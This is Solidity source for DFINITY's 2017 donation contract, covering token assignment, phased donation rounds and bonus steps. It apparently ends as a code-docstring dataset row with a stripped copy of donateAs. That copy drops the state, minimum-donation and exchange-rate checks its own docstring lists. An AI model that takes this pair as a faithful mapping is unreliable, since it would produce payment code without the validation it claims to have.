* Tokens are assigned at a rate of 10 tokens per CHF.
*
* There are two types of tokens initially. Unrestricted tokens are assigned to
* donors and restricted tokens are assigned to DFINITY Stiftung and early
* contributors. Restricted tokens are converted to unrestricted tokens in the
* finalization phase, after which only unrestricted tokens exist.
*
* After the finalization phase, tokens assigned to DFINITY Stiftung and early
* contributors will make up a pre-defined share of all tokens. This is achieved
* through burning excess restricted tokens before their restriction is removed.
*/
pragma solidity ^0.4.6;
// import "TokenTracker.sol";
/**
* title: A contract that tracks numbers of tokens assigned to addresses.
* author: Timo Hanke
*
* Optionally, assignments can be chosen to be of "restricted type".
* Being "restricted" means that the token assignment may later be partially
* reverted (or the tokens "burned") by the contract.
*
* After all token assignments are completed the contract
* - burns some restricted tokens
* - releases the restriction on the remaining tokens
* The percentage of tokens that burned out of each assignment of restricted
* tokens is calculated to achieve the following condition:
* - the remaining formerly restricted tokens combined have a pre-configured
* share (percentage) among all remaining tokens.
*
* Once the conversion process has started the contract enters a state in which
* no more assignments can be made.
*/
contract TokenTracker {
// Share of formerly restricted tokens among all tokens in percent
uint public restrictedShare;
// Mapping from address to number of tokens assigned to the address
mapping(address => uint) public tokens;
// Mapping from address to number of tokens assigned to the address that
// underly a restriction
mapping(address => uint) public restrictions;
// Total number of (un)restricted tokens currently in existence
uint public totalRestrictedTokens;
uint public totalUnrestrictedTokens;
// Total number of individual assignment calls have been for (un)restricted
// tokens
uint public totalRestrictedAssignments;
uint public totalUnrestrictedAssignments;
// State flag. Assignments can only be made if false.
// Starting the conversion (burn) process irreversibly sets this to true.
bool public assignmentsClosed = false;
// The multiplier (defined by nominator and denominator) that defines the
// fraction of all restricted tokens to be burned.
// This is computed after assignments have ended and before the conversion
// process starts.
uint public burnMultDen;
uint public burnMultNom;
function TokenTracker(uint _restrictedShare) {
// Throw if restricted share >= 100
if (_restrictedShare >= 100) { throw; }
restrictedShare = _restrictedShare;
}
/**
* PUBLIC functions
*
* - isUnrestricted (getter)
* - multFracCeiling (library function)
* - isRegistered(addr) (getter)
*/
/**
* Return true iff the assignments are closed and there are no restricted
* tokens left
*/
function isUnrestricted() constant returns (bool) {
return (assignmentsClosed && totalRestrictedTokens == 0);
}
/**
* Return the ceiling of (x*a)/b
*
* Edge cases:
* a = 0: return 0
* b = 0, a != 0: error (solidity throws on division by 0)
*/
function multFracCeiling(uint x, uint a, uint b) returns (uint) {
// Catch the case a = 0
if (a == 0) { return 0; }
// Rounding up is the same as adding 1-epsilon and rounding down.
// 1-epsilon is modeled as (b-1)/b below.
return (x * a + (b - 1)) / b;
}
/**
* Return true iff the address has tokens assigned (resp. restricted tokens)
*/
function isRegistered(address addr, bool restricted) constant returns (bool) {
if (restricted) {
return (restrictions[addr] > 0);
} else {
return (tokens[addr] > 0);
}
}
/**
* INTERNAL functions
*
* - assign
* - closeAssignments
* - unrestrict
*/
/**
* Assign (un)restricted tokens to given address
*/
function assign(address addr, uint tokenAmount, bool restricted) internal {
// Throw if assignments have been closed
if (assignmentsClosed) { throw; }
// Assign tokens
tokens[addr] += tokenAmount;
// Record restrictions and update total counters
if (restricted) {
totalRestrictedTokens += tokenAmount;
totalRestrictedAssignments += 1;
restrictions[addr] += tokenAmount;
} else {
totalUnrestrictedTokens += tokenAmount;
totalUnrestrictedAssignments += 1;
}
}
/**
* Close future assignments.
*
* This is irreversible and closes all future assignments.
* The function can only be called once.
*
* A call triggers the calculation of what fraction of restricted tokens
* should be burned by subsequent calls to the unrestrict() function.
* The result of this calculation is a multiplication factor whose nominator
* and denominator are stored in the contract variables burnMultNom,
* burnMultDen.
*/
function closeAssignmentsIfOpen() internal {
// Return if assignments are not open
if (assignmentsClosed) { return; }
// Set the state to "closed"
assignmentsClosed = true;
/*
* Calculate the total number of tokens that should remain after
* conversion. This is based on the total number of unrestricted tokens
* assigned so far and the pre-configured share that the remaining
* formerly restricted tokens should have.
*/
uint totalTokensTarget = (totalUnrestrictedTokens * 100) /
(100 - restrictedShare);
// The total number of tokens in existence now.
uint totalTokensExisting = totalRestrictedTokens + totalUnrestrictedTokens;
/*
* The total number of tokens that need to be burned to bring the existing
* number down to the target number. If the existing number is lower than
* the target then we won't burn anything.
*/
uint totalBurn = 0;
if (totalTokensExisting > totalTokensTarget) {
totalBurn = totalTokensExisting - totalTokensTarget;
}
// The fraction of restricted tokens to be burned (by nominator and
// denominator).
burnMultNom = totalBurn;
burnMultDen = totalRestrictedTokens;
/*
* For verifying the correctness of the above calculation it may help to
* note the following.
* Given 0 <= restrictedShare < 100, we have:
* - totalTokensTarget >= totalUnrestrictedTokens
* - totalTokensExisting <= totalRestrictedTokens + totalTokensTarget
* - totalBurn <= totalRestrictedTokens
* - burnMultNom <= burnMultDen
* Also note that burnMultDen = 0 means totalRestrictedTokens = 0, in which
* burnMultNom = 0 as well.
*/
}
/**
* Unrestrict (convert) all restricted tokens assigned to the given address
*
* This function can only be called after assignments have been closed via
* closeAssignments().
* The return value is the number of restricted tokens that were burned in
* the conversion.
*/
function unrestrict(address addr) internal returns (uint) {
// Throw is assignments are not yet closed
if (!assignmentsClosed) { throw; }
// The balance of restricted tokens for the given address
uint restrictionsForAddr = restrictions[addr];
// Throw if there are none
if (restrictionsForAddr == 0) { throw; }
// Apply the burn multiplier to the balance of restricted tokens
// The result is the ceiling of the value:
// (restrictionForAddr * burnMultNom) / burnMultDen
uint burn = multFracCeiling(restrictionsForAddr, burnMultNom, burnMultDen);
// Remove the tokens to be burned from the address's balance
tokens[addr] -= burn;
// Delete record of restrictions
delete restrictions[addr];
// Update the counters for total (un)restricted tokens
totalRestrictedTokens -= restrictionsForAddr;
totalUnrestrictedTokens += restrictionsForAddr - burn;
return burn;
}
}
// import "Phased.sol";
/*
* title: Contract that advances through multiple configurable phases over time
* author: Timo Hanke
*
* Phases are defined by their transition times. The moment one phase ends the
* next one starts. Each time belongs to exactly one phase.
*
* The contract allows a limited set of changes to be applied to the phase
* transitions while the contract is active. As a matter of principle, changes
* are prohibited from effecting the past. They may only ever affect future
* phase transitions.
*
* The permitted changes are:
* - add a new phase after the last one
* - end the current phase right now and transition to the next phase
* immediately
* - delay the start of a future phase (thereby pushing out all subsequent
* phases by an equal amount of time)
* - define a maximum delay for a specified phase
*/
contract Phased {
/**
* Array of transition times defining the phases
*
* phaseEndTime[i] is the time when phase i has just ended.
* Phase i is defined as the following time interval:
* [ phaseEndTime[i-1], * phaseEndTime[i] )
*/
uint[] public phaseEndTime;
/**
* Number of phase transitions N = phaseEndTime.length
*
* There are N+1 phases, numbered 0,..,N.
* The first phase has no start and the last phase has no end.
*/
uint public N;
/**
* Maximum delay for phase transitions
*
* maxDelay[i] is the maximum amount of time by which the transition
* phaseEndTime[i] can be delayed.
*/
mapping(uint => uint) public maxDelay;
/*
* The contract has no constructor.
* The contract initialized itself with no phase transitions (N = 0) and one
* phase (N+1=1).
*
* There are two PUBLIC functions (getters):
* - getPhaseAtTime
* - isPhase
* - getPhaseStartTime
*
* Note that both functions are guaranteed to return the same value when
* called twice with the same argument (but at different times).
*/
/**
* Return the number of the phase to which the given time belongs.
*
* Return value i means phaseEndTime[i-1] <= time < phaseEndTime[i].
* The given time must not be in the future (because future phase numbers may
* still be subject to change).
*/
function getPhaseAtTime(uint time) constant returns (uint n) {
// Throw if time is in the future
if (time > now) { throw; }
// Loop until we have found the "active" phase
while (n < N && phaseEndTime[n] <= time) {
n++;
}
}
/**
* Return true if the given time belongs to the given phase.
*
* Returns the logical equivalent of the expression
* (phaseEndTime[i-1] <= time < phaseEndTime[i]).
*
* The given time must not be in the future (because future phase numbers may
* still be subject to change).
*/
function isPhase(uint time, uint n) constant returns (bool) {
// Throw if time is in the future
if (time > now) { throw; }
// Throw if index is out-of-range
if (n >= N) { throw; }
// Condition 1
if (n > 0 && phaseEndTime[n-1] > time) { return false; }
// Condition 2
if (n < N && time >= phaseEndTime[n]) { return false; }
return true;
}
/**
* Return the start time of the given phase.
*
* This function is provided for convenience.
* The given phase number must not be 0, as the first phase has no start time.
* If calling for a future phase number the caller must be aware that future
* phase times can be subject to change.
*/
function getPhaseStartTime(uint n) constant returns (uint) {
// Throw if phase is the first phase
if (n == 0) { throw; }
return phaseEndTime[n-1];
}
/*
* There are 4 INTERNAL functions:
* 1. addPhase
* 2. setMaxDelay
* 3. delayPhaseEndBy
* 4. endCurrentPhaseIn
*
* This contract does not implement access control to these function, so
* they are made internal.
*/
/**
* 1. Add a phase after the last phase.
*
* The argument is the new endTime of the phase currently known as the last
* phase, or, in other words the start time of the newly introduced phase.
* All calls to addPhase() MUST be with strictly increasing time arguments.
* It is not allowed to add a phase transition that lies in the past relative
* to the current block time.
*/
function addPhase(uint time) internal {
// Throw if new transition time is not strictly increasing
if (N > 0 && time <= phaseEndTime[N-1]) { throw; }
// Throw if new transition time is not in the future
if (time <= now) { throw; }
// Append new transition time to array
phaseEndTime.push(time);
N++;
}
/**
* 2. Define a limit on the amount of time by which the given transition (i)
* can be delayed.
*
* By default, transitions can not be delayed (limit = 0).
*/
function setMaxDelay(uint i, uint timeDelta) internal {
// Throw if index is out-of-range
if (i >= N) { throw; }
maxDelay[i] = timeDelta;
}
/**
* 3. Delay the end of the given phase (n) by the given time delta.
*
* The given phase must not have ended.
*
* This function can be called multiple times for the same phase.
* The defined maximum delay will be enforced across multiple calls.
*/
function delayPhaseEndBy(uint n, uint timeDelta) internal {
// Throw if index is out of range
if (n >= N) { throw; }
// Throw if phase has already ended
if (now >= phaseEndTime[n]) { throw; }
// Throw if the requested delay is higher than the defined maximum for the
// transition
if (timeDelta > maxDelay[n]) { throw; }
// Subtract from the current max delay, so maxDelay is honored across
// multiple calls
maxDelay[n] -= timeDelta;
// Push out all subsequent transitions by the same amount
for (uint i = n; i < N; i++) {
phaseEndTime[i] += timeDelta;
}
}
/**
* 4. End the current phase early.
*
* The current phase must not be the last phase, as the last phase has no end.
* The current phase will end at time now plus the given time delta.
*
* The minimal allowed time delta is 1. This is avoid a race condition for
* other transactions that are processed in the same block.
* Setting phaseEndTime[n] to now would push all later transactions from the
* same block into the next phase.
* If the specified timeDelta is 0 the function gracefully bumps it up to 1.
*/
function endCurrentPhaseIn(uint timeDelta) internal {
// Get the current phase number
uint n = getPhaseAtTime(now);
// Throw if we are in the last phase
if (n >= N) { throw; }
// Set timeDelta to the minimal allowed value
if (timeDelta == 0) {
timeDelta = 1;
}
// The new phase end should be earlier than the currently defined phase
// end, otherwise we don't change it.
if (now + timeDelta < phaseEndTime[n]) {
phaseEndTime[n] = now + timeDelta;
}
}
}
// import "StepFunction.sol";
/*
* title: A configurable step function
* author: Timo Hanke
*
* The contract implements a step function going down from an initialValue to 0
* in a number of steps (nSteps).
* The steps are distributed equally over a given time (phaseLength).
* Having n steps means that the time phaseLength is divided into n+1
* sub-intervalls of equal length during each of which the function value is
* constant.
*/
contract StepFunction {
uint public phaseLength;
uint public nSteps;
uint public step;
function StepFunction(uint _phaseLength, uint _initialValue, uint _nSteps) {
// Throw if phaseLength does not leave enough room for number of steps
if (_nSteps > _phaseLength) { throw; }
// The reduction in value per step
step = _initialValue / _nSteps;
// Throw if _initialValue was not divisible by _nSteps
if ( step * _nSteps != _initialValue) { throw; }
phaseLength = _phaseLength;
nSteps = _nSteps;
}
/*
* Note the following edge cases.
* initialValue = 0: is valid and will create the constant zero function
* nSteps = 0: is valid and will create the constant zero function (only 1
* sub-interval)
* phaseLength < nSteps: is valid, but unlikely to be intended (so the
* constructor throws)
*/
/**
* Evaluate the step function at a given time
*
* elapsedTime MUST be in the intervall [0,phaseLength)
* The return value is between initialValue and 0, never negative.
*/
function getStepFunction(uint elapsedTime) constant returns (uint) {
// Throw is elapsedTime is out-of-range
if (elapsedTime >= phaseLength) { throw; }
// The function value will bel calculated from the end value backwards.
// Hence we need the time left, which will lie in the intervall
// [0,phaseLength)
uint timeLeft = phaseLength - elapsedTime - 1;
// Calculate the number of steps away from reaching end value
// When verifying the forumla below it may help to note:
// at elapsedTime = 0 stepsLeft evaluates to nSteps,
// at elapsedTime = -1 stepsLeft would evaluate to nSteps + 1.
uint stepsLeft = ((nSteps + 1) * timeLeft) / phaseLength;
// Apply the step function
return stepsLeft * step;
}
}
// import "Targets.sol";
/*
* title: Contract implementing counters with configurable targets
* author: Timo Hanke
*
* There is an arbitrary number of counters. Each counter is identified by its
* counter id, a uint. Counters can never decrease.
*
* The contract has no constructor. The target values are set and re-set via
* setTarget().
*/
contract Targets {
// Mapping from counter id to counter value
mapping(uint => uint) public counter;
// Mapping from counter id to target value
mapping(uint => uint) public target;
// A public getter that returns whether the target was reached
function targetReached(uint id) constant returns (bool) {
return (counter[id] >= target[id]);
}
/*
* Modifying counter or target are internal functions.
*/
// (Re-)set the target
function setTarget(uint id, uint _target) internal {
target[id] = _target;
}
// Add to the counter
// The function returns whether this current addition makes the counter reach
// or cross its target value
function addTowardsTarget(uint id, uint amount)
internal
returns (bool firstReached)
{
firstReached = (counter[id] < target[id]) &&
(counter[id] + amount >= target[id]);
counter[id] += amount;
}
}
// import "Parameters.sol";
/**
* title: Configuration parameters for the FDC
* author: Timo Hanke
*/
contract Parameters {
/*
* Time Constants
*
* Phases are, in this order:
* earlyContribution (defined by end time)
* pause
* donation round0 (defined by start and end time)
* pause
* donation round1 (defined by start and end time)
* pause
* finalization (defined by start time, ends manually)
* done
*/
// The start of round 0 is set to 2017-01-17 19:00 of timezone Europe/Zurich
uint public constant round0StartTime = 1484676000;
// The start of round 1 is set to 2017-05-17 19:00 of timezone Europe/Zurich
// TZ="Europe/Zurich" date -d "2017-05-17 19:00" "+%s"
uint public constant round1StartTime = 1495040400;
// Transition times that are defined by duration
uint public constant round0EndTime = round0StartTime + 6 weeks;
uint public constant round1EndTime = round1StartTime + 6 weeks;
uint public constant finalizeStartTime = round1EndTime + 1 weeks;
// The finalization phase has a dummy end time because it is ended manually
uint public constant finalizeEndTime = finalizeStartTime + 1000 years;
// The maximum time by which donation round 1 can be delayed from the start
// time defined above
uint public constant maxRoundDelay = 270 days;
// The time for which donation rounds remain open after they reach their
// respective targets
uint public constant gracePeriodAfterRound0Target = 1 days;
uint public constant gracePeriodAfterRound1Target = 0 days;
/*
* Token issuance
*
* The following configuration parameters completely govern all aspects of the
* token issuance.
*/
// Tokens assigned for the equivalent of 1 CHF in donations
uint public constant tokensPerCHF = 10;
// Minimal donation amount for a single on-chain donation
uint public constant minDonation = 1 ether;
// Bonus in percent added to donations throughout donation round 0
uint public constant round0Bonus = 200;
// Bonus in percent added to donations at beginning of donation round 1
uint public constant round1InitialBonus = 25;
// Number of down-steps for the bonus during donation round 1
uint public constant round1BonusSteps = 5;
// The CHF targets for each of the donation rounds, measured in cents of CHF
uint public constant millionInCents = 10**6 * 100;
uint public constant round0Target = 1 * millionInCents;
uint public constant round1Target = 20 * millionInCents;
// Share of tokens eventually assigned to DFINITY Stiftung and early
// contributors in % of all tokens eventually in existence
uint public constant earlyContribShare = 22;
}
// FDC.sol
contract FDC is TokenTracker, Phased, StepFunction, Targets, Parameters {
// An identifying string, set by the constructor
string public name;
/*
* Phases
*
* The FDC over its lifetime runs through a number of phases. These phases are
* tracked by the base contract Phased.
*
* The FDC maps the chronologically defined phase numbers to semantically
* defined states.
*/
// The FDC states
enum state {
pause, // Pause without any activity
earlyContrib, // Registration of DFINITY Stiftung/early contributions
round0, // Donation round 0
round1, // Donation round 1
offChainReg, // Grace period for registration of off-chain donations
finalization, // Adjustment of DFINITY Stiftung/early contribution tokens
// down to their share
done // Read-only phase
}
// Mapping from phase number (from the base contract Phased) to FDC state
mapping(uint => state) stateOfPhase;
/*
* Tokens
*
* The FDC uses base contract TokenTracker to:
* - track token assignments for
* - donors (unrestricted tokens)
* - DFINITY Stiftung/early contributors (restricted tokens)
* - convert DFINITY Stiftung/early contributor tokens down to their share
*
* The FDC uses the base contract Targets to:
* - track the targets measured in CHF for each donation round
*
* The FDC itself:
* - tracks the memos of off-chain donations (and prevents duplicates)
* - tracks donor and early contributor addresses in two lists
*/
// Mapping to store memos that have been used
mapping(bytes32 => bool) memoUsed;
// List of registered addresses (each address will appear in one)
address[] public donorList;
address[] public earlyContribList;
/*
* Exchange rate and ether handling
*
* The FDC keeps track of:
* - the exchange rate between ether and Swiss francs
* - the total and per address ether donations
*/
// Exchange rate between ether and Swiss francs
uint public weiPerCHF;
// Total number of Wei donated on-chain so far
uint public totalWeiDonated;
// Mapping from address to total number of Wei donated for the address
mapping(address => uint) public weiDonated;
/*
* Access control
*
* The following three addresses have access to restricted functions of the
* FDC and to the donated funds.
*/
// Wallet address to which on-chain donations are being forwarded
address public foundationWallet;
// Address that is allowed to register DFINITY Stiftung/early contributions
// and off-chain donations and to delay donation round 1
address public registrarAuth;
// Address that is allowed to update the exchange rate
address public exchangeRateAuth;
// Address that is allowed to update the other authenticated addresses
address public masterAuth;
/*
* Global variables
*/
// The phase numbers of the donation phases (set by the constructor,
// thereafter constant)
uint phaseOfRound0;
uint phaseOfRound1;
/*
* Events
*
* - DonationReceipt: logs an on-chain or off-chain donation
* - EarlyContribReceipt: logs the registration of early contribution
* - BurnReceipt: logs the burning of token during finalization
*/
event DonationReceipt (address indexed addr, // DFN address of donor
string indexed currency, // donation currency
uint indexed bonusMultiplierApplied, // depends stage
uint timestamp, // time occurred
uint tokenAmount, // DFN to b recommended
bytes32 memo); // unique note e.g TxID
event EarlyContribReceipt (address indexed addr, // DFN address of donor
uint tokenAmount, // *restricted* tokens
bytes32 memo); // arbitrary note
event BurnReceipt (address indexed addr, // DFN address adjusted
uint tokenAmountBurned); // DFN deleted by adj.
/**
* Constructor
*
* The constructor defines
* - the privileged addresses for access control
* - the phases in base contract Phased
* - the mapping between phase numbers and states
* - the targets in base contract Targets
* - the share for early contributors in base contract TokenTracker
* - the step function for the bonus calculation in donation round 1
*
* All configuration parameters are taken from base contract Parameters.
*/
function FDC(address _masterAuth, string _name)
TokenTracker(earlyContribShare)
StepFunction(round1EndTime-round1StartTime, round1InitialBonus,
round1BonusSteps)
{
/*
* Set identifying string
*/
name = _name;
/*
* Set privileged addresses for access control
*/
foundationWallet = _masterAuth;
masterAuth = _masterAuth;
exchangeRateAuth = _masterAuth;
registrarAuth = _masterAuth;
/*
* Initialize base contract Phased
*
* |------------------------- Phase number (0-7)
* | |-------------------- State name
* | | |---- Transition number (0-6)
* V V V
*/
stateOfPhase[0] = state.earlyContrib;
addPhase(round0StartTime); // 0
stateOfPhase[1] = state.round0;
addPhase(round0EndTime); // 1
stateOfPhase[2] = state.offChainReg;
addPhase(round1StartTime); // 2
stateOfPhase[3] = state.round1;
addPhase(round1EndTime); // 3
stateOfPhase[4] = state.offChainReg;
addPhase(finalizeStartTime); // 4
stateOfPhase[5] = state.finalization;
addPhase(finalizeEndTime); // 5
stateOfPhase[6] = state.done;
// Let the other functions know what phase numbers the donation rounds were
// assigned to
phaseOfRound0 = 1;
phaseOfRound1 = 3;
// Maximum delay for start of donation rounds
setMaxDelay(phaseOfRound0 - 1, maxRoundDelay);
setMaxDelay(phaseOfRound1 - 1, maxRoundDelay);
/*
* Initialize base contract Targets
*/
setTarget(phaseOfRound0, round0Target);
setTarget(phaseOfRound1, round1Target);
}
/*
* PUBLIC functions
*
* Un-authenticated:
* - getState
* - getMultiplierAtTime
* - donateAsWithChecksum
* - finalize
* - empty
* - getStatus
*
* Authenticated:
* - registerEarlyContrib
* - registerOffChainDonation
* - setExchangeRate
* - delayRound1
* - setFoundationWallet
* - setRegistrarAuth
* - setExchangeRateAuth
* - setAdminAuth
*/
/**
* Get current state at the current block time
*/
function getState() constant returns (state) {
return stateOfPhase[getPhaseAtTime(now)];
}
/**
* Return the bonus multiplier at a given time
*
* The given time must
* - lie in one of the donation rounds,
* - not lie in the future.
* Otherwise there is no valid multiplier.
*/
function getMultiplierAtTime(uint time) constant returns (uint) {
// Get phase number (will throw if time lies in the future)
uint n = getPhaseAtTime(time);
// If time lies in donation round 0 we return the constant multiplier
if (stateOfPhase[n] == state.round0) {
return 100 + round0Bonus;
}
// If time lies in donation round 1 we return the step function
if (stateOfPhase[n] == state.round1) {
return 100 + getStepFunction(time - getPhaseStartTime(n));
}
// Throw outside of donation rounds
throw;
}
/**
* Send donation in the name a the given address with checksum
*
* The second argument is a checksum which must equal the first 4 bytes of the
* SHA-256 digest of the byte representation of the address.
*/
function donateAsWithChecksum(address addr, bytes4 checksum)
payable
returns (bool)
{
// Calculate SHA-256 digest of the address
bytes32 hash = sha256(addr);
// Throw is the checksum does not match the first 4 bytes
if (bytes4(hash) != checksum) { throw ; }
// Call un-checksummed donate function
return donateAs(addr);
}
/**
* Finalize the balance for the given address
*
* This function triggers the conversion (and burn) of the restricted tokens
* that are assigned to the given address.
*
* This function is only available during the finalization phase. It manages
* the calls to closeAssignments() and unrestrict() of TokenTracker.
*/
function finalize(address addr) {
// Throw if we are not in the finalization phase
if (getState() != state.finalization) { throw; }
// Close down further assignments in TokenTracker
closeAssignmentsIfOpen();
// Burn tokens
uint tokensBurned = unrestrict(addr);
// Issue burn receipt
BurnReceipt(addr, tokensBurned);
// If no restricted tokens left
if (isUnrestricted()) {
// then end the finalization phase immediately
endCurrentPhaseIn(0);
}
}
/**
* Send any remaining balance to the foundation wallet
*/
function empty() returns (bool) {
return foundationWallet.call.value(this.balance)();
}
/**
* Get status information from the FDC
*
* This function returns a mix of
* - global status of the FDC
* - global status of the FDC specific for one of the two donation rounds
* - status related to a specific token address (DFINITY address)
* - status (balance) of an external Ethereum account
*
* Arguments are:
* - donationRound: donation round to query (0 or 1)
* - dfnAddr: token address to query
* - fwdAddr: external Ethereum address to query
*/
function getStatus(uint donationRound, address dfnAddr, address fwdAddr)
public constant
returns (
state currentState, // current state (an enum)
uint fxRate, // exchange rate of CHF -> ETH (Wei/CHF)
uint currentMultiplier, // current bonus multiplier (0 if invalid)
uint donationCount, // total individual donations made (a count)
uint totalTokenAmount, // total DFN planned allocated to donors
uint startTime, // expected start time of specified donation round
uint endTime, // expected end time of specified donation round
bool isTargetReached, // whether round target has been reached
uint chfCentsDonated, // total value donated in specified round as CHF
uint tokenAmount, // total DFN planned allocted to donor (user)
uint fwdBalance, // total ETH (in Wei) waiting in fowarding address
uint donated) // total ETH (in Wei) donated by DFN address
{
// The global status
currentState = getState();
if (currentState == state.round0 || currentState == state.round1) {
currentMultiplier = getMultiplierAtTime(now);
}
fxRate = weiPerCHF;
donationCount = totalUnrestrictedAssignments;
totalTokenAmount = totalUnrestrictedTokens;
// The round specific status
if (donationRound == 0) {
startTime = getPhaseStartTime(phaseOfRound0);
endTime = getPhaseStartTime(phaseOfRound0 + 1);
isTargetReached = targetReached(phaseOfRound0);
chfCentsDonated = counter[phaseOfRound0];
} else {
startTime = getPhaseStartTime(phaseOfRound1);
endTime = getPhaseStartTime(phaseOfRound1 + 1);
isTargetReached = targetReached(phaseOfRound1);
chfCentsDonated = counter[phaseOfRound1];
}
// The status specific to the DFN address
tokenAmount = tokens[dfnAddr];
donated = weiDonated[dfnAddr];
// The status specific to the Ethereum address
fwdBalance = fwdAddr.balance;
}
/**
* Set the exchange rate between ether and Swiss francs in Wei per CHF
*
* Must be called from exchangeRateAuth.
*/
function setWeiPerCHF(uint weis) {
// Require permission
if (msg.sender != exchangeRateAuth) { throw; }
// Set the global state variable for exchange rate
weiPerCHF = weis;
}
/**
* Register early contribution in the name of the given address
*
* Must be called from registrarAuth.
*
* Arguments are:
* - addr: address to the tokens are assigned
* - tokenAmount: number of restricted tokens to assign
* - memo: optional dynamic bytes of data to appear in the receipt
*/
function registerEarlyContrib(address addr, uint tokenAmount, bytes32 memo) {
// Require permission
if (msg.sender != registrarAuth) { throw; }
// Reject registrations outside the early contribution phase
if (getState() != state.earlyContrib) { throw; }
// Add address to list if new
if (!isRegistered(addr, true)) {
earlyContribList.push(addr);
}
// Assign restricted tokens in TokenTracker
assign(addr, tokenAmount, true);
// Issue early contribution receipt
EarlyContribReceipt(addr, tokenAmount, memo);
}
/**
* Register off-chain donation in the name of the given address
*
* Must be called from registrarAuth.
*
* Arguments are:
* - addr: address to the tokens are assigned
* - timestamp: time when the donation came in (determines round and bonus)
* - chfCents: value of the donation in cents of Swiss francs
* - currency: the original currency of the donation (three letter string)
* - memo: optional bytes of data to appear in the receipt
*
* The timestamp must not be in the future. This is because the timestamp
* defines the donation round and the multiplier and future phase times are
* still subject to change.
*
* If called during a donation round then the timestamp must lie in the same
* phase and if called during the extended period for off-chain donations then
* the timestamp must lie in the immediately preceding donation round.
*/
function registerOffChainDonation(address addr, uint timestamp, uint chfCents,
string currency, bytes32 memo)
{
// Require permission
if (msg.sender != registrarAuth) { throw; }
// The current phase number and state corresponding state
uint currentPhase = getPhaseAtTime(now);
state currentState = stateOfPhase[currentPhase];
// Reject registrations outside the two donation rounds (incl. their
// extended registration periods for off-chain donations)
if (currentState != state.round0 && currentState != state.round1 &&
currentState != state.offChainReg) {
throw;
}
// Throw if timestamp is in the future
if (timestamp > now) { throw; }
// Phase number and corresponding state of the timestamp
uint timestampPhase = getPhaseAtTime(timestamp);
state timestampState = stateOfPhase[timestampPhase];
// Throw if called during a donation round and the timestamp does not match
// that phase.
if ((currentState == state.round0 || currentState == state.round1) &&
(timestampState != currentState)) {
throw;
}
// Throw if called during the extended period for off-chain donations and
// the timestamp does not lie in the immediately preceding donation phase.
if (currentState == state.offChainReg && timestampPhase != currentPhase-1) {
throw;
}
// Throw if the memo is duplicated
if (memoUsed[memo]) {
throw;
}
// Set the memo item to true
memoUsed[memo] = true;
// Do the book-keeping
bookDonation(addr, timestamp, chfCents, currency, memo);
}
/**
* Delay a donation round
*
* Must be called from the address registrarAuth.
*
* This function delays the start of donation round 1 by the given time delta
* unless the time delta is bigger than the configured maximum delay.
*/
function delayDonPhase(uint donPhase, uint timedelta) {
// Require permission
if (msg.sender != registrarAuth) { throw; }
// Pass the call on to base contract Phased
// Delaying the start of a donation round is the same as delaying the end
// of the preceding phase
if (donPhase == 0) {
delayPhaseEndBy(phaseOfRound0 - 1, timedelta);
} else if (donPhase == 1) {
delayPhaseEndBy(phaseOfRound1 - 1, timedelta);
}
}
/**
* Set the forwarding address for donated ether
*
* Must be called from the address masterAuth before donation round 0 starts.
*/
function setFoundationWallet(address newAddr) {
// Require permission
if (msg.sender != masterAuth) { throw; }
// Require phase before round 0
if (getPhaseAtTime(now) >= phaseOfRound0) { throw; }
foundationWallet = newAddr;
}
/**
* Set new authenticated address for setting exchange rate
*
* Must be called from the address masterAuth.
*/
function setExchangeRateAuth(address newAuth) {
// Require permission
if (msg.sender != masterAuth) { throw; }
exchangeRateAuth = newAuth;
}
/**
* Set new authenticated address for registrations
*
* Must be called from the address masterAuth.
*/
function setRegistrarAuth(address newAuth) {
// Require permission
if (msg.sender != masterAuth) { throw; }
registrarAuth = newAuth;
}
/**
* Set new authenticated address for admin
*
* Must be called from the address masterAuth.
*/
function setMasterAuth(address newAuth) {
// Require permission
if (msg.sender != masterAuth) { throw; }
masterAuth = newAuth;
}
/*
* PRIVATE functions
*
* - donateAs
* - bookDonation
*/
/**
* Process on-chain donation in the name of the given address
*
* This function is private because it shall only be called through its
* wrapper donateAsWithChecksum.
*/
function donateAs(address addr) private returns (bool) {
// The current state
state st = getState();
// Throw if current state is not a donation round
if (st != state.round0 && st != state.round1) { throw; }
// Throw if donation amount is below minimum
if (msg.value < minDonation) { throw; }
// Throw if the exchange rate is not yet defined
if (weiPerCHF == 0) { throw; }
// Update counters for ether donations
totalWeiDonated += msg.value;
weiDonated[addr] += msg.value;
// Convert ether to Swiss francs
uint chfCents = (msg.value * 100) / weiPerCHF;
// Do the book-keeping
bookDonation(addr, now, chfCents, "ETH", "");
// Forward balance to the foundation wallet
return foundationWallet.call.value(this.balance)();
}
/**
* Put an accepted donation in the books.
*
* This function
* - cannot throw as all checks have been done before,
* - is agnostic to the source of the donation (on-chain or off-chain)
* - is agnostic to the currency
* (the currency argument is simply passed through to the DonationReceipt)
*
*/
function bookDonation(address addr, uint timestamp, uint chfCents,
string currency, bytes32 memo) private
{
// The current phase
uint phase = getPhaseAtTime(timestamp);
// Add amount to the counter of the current phase
bool targetReached = addTowardsTarget(phase, chfCents);
// If the target was crossed then start the grace period
if (targetReached && phase == getPhaseAtTime(now)) {
if (phase == phaseOfRound0) {
endCurrentPhaseIn(gracePeriodAfterRound0Target);
} else if (phase == phaseOfRound1) {
endCurrentPhaseIn(gracePeriodAfterRound1Target);
}
}
// Bonus multiplier that was valid at the given time
uint bonusMultiplier = getMultiplierAtTime(timestamp);
// Apply bonus to amount in Swiss francs
chfCents = (chfCents * bonusMultiplier) / 100;
// Convert Swiss francs to amount of tokens
uint tokenAmount = (chfCents * tokensPerCHF) / 100;
// Add address to list if new
if (!isRegistered(addr, false)) {
donorList.push(addr);
}
// Assign unrestricted tokens in TokenTracker
assign(addr,tokenAmount,false);
// Issue donation receipt
DonationReceipt(addr, currency, bonusMultiplier, timestamp, tokenAmount,
memo);
}
} | Process on-chain donation in the name of the given address This function is private because it shall only be called through its wrapper donateAsWithChecksum./ The current state Throw if current state is not a donation round Throw if donation amount is below minimum Throw if the exchange rate is not yet defined Update counters for ether donations Convert ether to Swiss francs Do the book-keeping Forward balance to the foundation wallet | function donateAs(address addr) private returns (bool) {
state st = getState();
totalWeiDonated += msg.value;
weiDonated[addr] += msg.value;
uint chfCents = (msg.value * 100) / weiPerCHF;
bookDonation(addr, now, chfCents, "ETH", "");
return foundationWallet.call.value(this.balance)();
}
| 1,050,761 |
